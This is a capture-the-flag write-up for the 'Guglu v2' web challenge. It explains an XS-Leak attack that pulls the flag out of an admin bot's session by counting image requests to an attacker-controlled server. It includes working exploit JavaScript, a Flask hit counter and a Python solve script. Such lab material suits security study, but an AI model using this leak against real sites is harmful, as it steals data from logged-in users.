Guglu v2
8 minutes to read
We are provided with a website to create notes. There is also a bot that accesses its profile and then accesses to a URL provided by us. We also have the projects in Node.js.
Source code analysis
Registration functions (/register
) and login (/login
) are correctly implemented.
The main functionality of the application is the possibility of creating and looking for notes (web/src/routes/post.router.js
):
router.get('/posts', (req, res) => {
const { page } = req.query;
if (page === undefined) {
return res.redirect('/posts?page=1')
}
const owner = req.session.username;
const posts = db.getPosts(owner, page);
return res.render('posts', {
posts: posts,
});
});
router.post('/add-post', (req, res) => {
let { title, content, logo } = req.body;
const creator = req.session.username;
title = title.length <= 256
? title
: title.substring(0, 256);
content = content.length <= 1024
? content
: content.substring(0, 1024);
const id = db.addPost(title, content, logo, creator)["lastInsertRowid"];
return res.redirect(`/post/${id}`);
});
router.get('/search', (req, res) => {
let query = req.query["query"] || '';
let creator = req.session.username;
let page = req.query["page"] || 1;
const posts = db.searchPosts(query, creator, page);
return res.render("posts", {
posts: posts,
});
})
These three endpoints use database access functions (web/src/lib/db.js
):
function addPost(title, content, logo, creator) {
const stmt = db.prepare("INSERT INTO posts (title, content, logo, creator) VALUES (?, ?, ?, ?);")
const post_id = stmt.run(title, content, logo, creator);
return post_id;
}
function getPost(id, creator) {
const stmt = db.prepare("SELECT title, content, logo FROM posts WHERE id = ? AND creator = ?;");
return stmt.get(id, creator);
}
function getPosts(owner, page) {
const offset = (page - 1) * 6;
if (owner === "admin") {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(offset);
return posts;
} else {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE creator = ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(owner, offset);
return posts;
}
}
function searchPosts(query, owner, page) {
const offset = (page - 1) * 6;
if (owner === "admin") {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, offset);
return posts;
} else {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? and creator = ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, owner, offset);
return posts;
}
}
There is no SQL injection vulnerability. On the other hand, the flag is stored in the database and belongs to the admin
user (the bot):
const Flag = process.env.FLAG || 'HackOn{fakeflag}';
db.prepare(`
INSERT INTO posts (id, title, content, logo, creator)
VALUES (0, ?, 'Boring post, anyway, only I am reading it.',
'https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg',
'admin');
`).run(Flag);
Bot
The bot receives the URL of the web application to log in, and then accesses a URL that we give:
import { firefox } from "playwright-firefox";
const USER = "admin";
const PASSWD = process.env.PASSWD ?? console.log("No password") ?? process.exit(1);
const sleep = async (msec) =>
new Promise((resolve) => setTimeout(resolve, msec));
export const visit = async (chall_url, url) => {
console.log(chall_url)
if (!/^https?:\/\/hackon-[a-f0-9]{12}-guglu-[0-9]+\.chals\.io\/$/.test(chall_url)) {
console.log("Bad chall url");
return;
}
console.log(`chall_url: ${chall_url}`)
console.log(`url: ${url}`);
const browser = await firefox.launch({
headless: true,
firefoxUserPrefs: {
"javascript.options.wasm": false,
"javascript.options.baselinejit": false,
},
});
const context = await browser.newContext();
try {
const page = await context.newPage();
await page.goto(chall_url + 'login', { timeout: 3 * 1000 });
await page.type('input[name=username]', USER);
await page.type('input[name=password]', PASSWD);
await page.getByRole('button').click();
await sleep(3 * 1000);
await page.goto(url, { timeout: 3 * 1000 });
await sleep(60 * 1000);
await page.close();
} catch (e) {
console.error(e);
}
await browser.close();
console.log(`end: ${url}`);
};
The important thing here is that the bot will already have a session in the web application of the challenge, and if we try to look for the flag among its notes, it will come out. The key here is to find how to exfiltrate the flag.
Exfiltration strategy
As we control the URL to which the bot, the idea would be to build a server that hosts a web page that performs requests to /search
with JavaScript. The problem is that we cannot read the response of these requests because the Same-Origin Policy.
Even so, there are a lot of contexts in which it is possible to exfiltrate information through an oracle. That is, if we find any difference between a response that has the flag and a response that does not, there we can try to exfiltrate. Many of these techniques are documented in xsleaks.dev.
If we deploy the Docker container with the web application and access the admin
profile with the test credentials, we can see what changes if we look for the flag and what does not change:
For example, in the right case the image rickroll.jpg
appears and in the wrong case it does not appear. An option would be to see if the image is cached when searching. If it is, it means that the search has given a result that coincides with the flag;and if it is not cached, it means that the search does not return the flag.
Thus, with a boolean oracle like this, we could try all possible characters for each flag index until it is correct.
Intended approach
Although the oracle based on the browser cache is good and suffices to exfiltrate, the intended way is in the use of ORDER By title LIMIT 6
of the SQL query:
function searchPosts(query, owner, page) {
const offset = (page - 1) * 6;
if (owner === "admin") {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, offset);
return posts;
} else {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? and creator = ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, owner, offset);
return posts;
}
}
The idea is that we create 6 notes with an image that points to our server and a title that begins with HackOn{a
, then 6 notes that begin with HackOn{b
, and so on until HackOn{z
. So when we look for HackOn{f
, the server will show the flag (HackOn{fakeflag}
) along with rickroll.jpg
and other 5 notes that start with HackOn{f
. The key is that for the rest of the searches, our server will receive 6 requests for an image; but for the search that returns the flag, only 5 requests will arrive for an image.
Verification
If we try it in SQLite, we will see that our premise is fulfilled, but in a detail:
root@0a801a0ab2f7:/app# sqlite3 guglu.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> SELECT * FROM posts;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg|admin
sqlite> INSERT INTO posts VALUES (1, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (2, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (3, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (4, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (5, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (6, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> SELECT * FROM posts;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg|admin
1|HackOn{f|asdf|http://...|asdf
2|HackOn{f|asdf|http://...|asdf
3|HackOn{f|asdf|http://...|asdf
4|HackOn{f|asdf|http://...|asdf
5|HackOn{f|asdf|http://...|asdf
6|HackOn{f|asdf|http://...|asdf
sqlite> SELECT id, title, content, logo FROM posts WHERE title LIKE '%HackOn{f%' ORDER BY title LIMIT 6 OFFSET 0;
1|HackOn{f|asdf|http://...
2|HackOn{f|asdf|http://...
3|HackOn{f|asdf|http://...
4|HackOn{f|asdf|http://...
5|HackOn{f|asdf|http://...
6|HackOn{f|asdf|http://...
As can be seen, if we put HackOn{f
as title, it will always be shown before HackOn{fakeflag}
because of ORDER By title
. To fix it, we can simply put ackOn{f
:
sqlite> DELETE FROM posts WHERE id > 0;
sqlite> INSERT INTO posts VALUES (1, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (2, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (3, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (4, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (5, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (6, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> SELECT * FROM posts;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg|admin
1|ackOn{f|asdf|http://...|asdf
2|ackOn{f|asdf|http://...|asdf
3|ackOn{f|asdf|http://...|asdf
4|ackOn{f|asdf|http://...|asdf
5|ackOn{f|asdf|http://...|asdf
6|ackOn{f|asdf|http://...|asdf
sqlite> SELECT id, title, content, logo FROM posts WHERE title LIKE '%ackOn{f%' ORDER BY title LIMIT 6 OFFSET 0;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg
1|ackOn{f|asdf|http://...
2|ackOn{f|asdf|http://...
3|ackOn{f|asdf|http://...
4|ackOn{f|asdf|http://...
5|ackOn{f|asdf|http://...
And now it works as expected and we can use it as an oracle.
Implementation
The JavaScript code that will be executed on the page that the bot visits is the following:
const sleep = async msec => new Promise(resolve => setTimeout(resolve, msec));
const leak = async () => {
const characters = 'abcdefghijklmnopqrstuvwxyz'
for (const c of characters) {
await sleep(500)
const w = open('http://<victim_url>/search?query=ackOn{...' + c)
await sleep(500)
w.close()
}
}
leak()
It is a simple code that all it does is open a browser tab to perform the search, load the images and then close the tab, for each character that can be found in the flag in a given index.
With this, we can set up a Flask server that also manages the requests for the images and tells how many come for each character:
hits = Counter()
@app.route('/image/<i>/<c>', methods=['GET'])
def image(i, c):
hits[c] += 1
return ''
The <i>
parameter s important to prevent the browser from caching of the image because of having the same URL. Therefore, when adding the 6 notes per character, we also add the index:
def post_notes(title: str):
for i in range(6):
s.post(f'{victim_url}/add-post', data={
'title': title,
'content': 'asdf',
'logo': f'{vps_url}/image/{i}/{title[-1]}',
})
Thus, the main function of the script is as follows:
def main():
global flag
Thread(target=app.run, kwargs={
'debug': False,
'host': '0.0.0.0',
'port': 8000,
'use_reloader': False,
}).start()
credentials = {'username': 'asdf', 'password': 'fdsa'}
s.post(f'{victim_url}/register', data=credentials)
s.post(f'{victim_url}/login', data=credentials)
flag = 'ackOn{'
flag_progress = log.progress('Flag')
while '}' not in flag:
for c in string.ascii_lowercase:
post_notes(flag + c)
hits.clear()
requests.post(f'{bot_url}/api/report', json={'url': vps_url, 'chall_url': victim_url + '/'})
for c, count in hits.items():
if count == 5:
flag += c
break
else:
flag += '}'
flag_progress.status('H' + flag)
flag = 'H' + flag
flag_progress.success(flag)
os._exit(0)
Flag
With this, we will obtain the flag after about 10 minutes, since the bot takes over 1 minute to finish:
$ python3 solve.py http://<victim>:3000 http://<vps>:8000 http://<bot>:1337
[+] Flag: HackOn{fakeflag}
The full script can be found in here: solve.py
.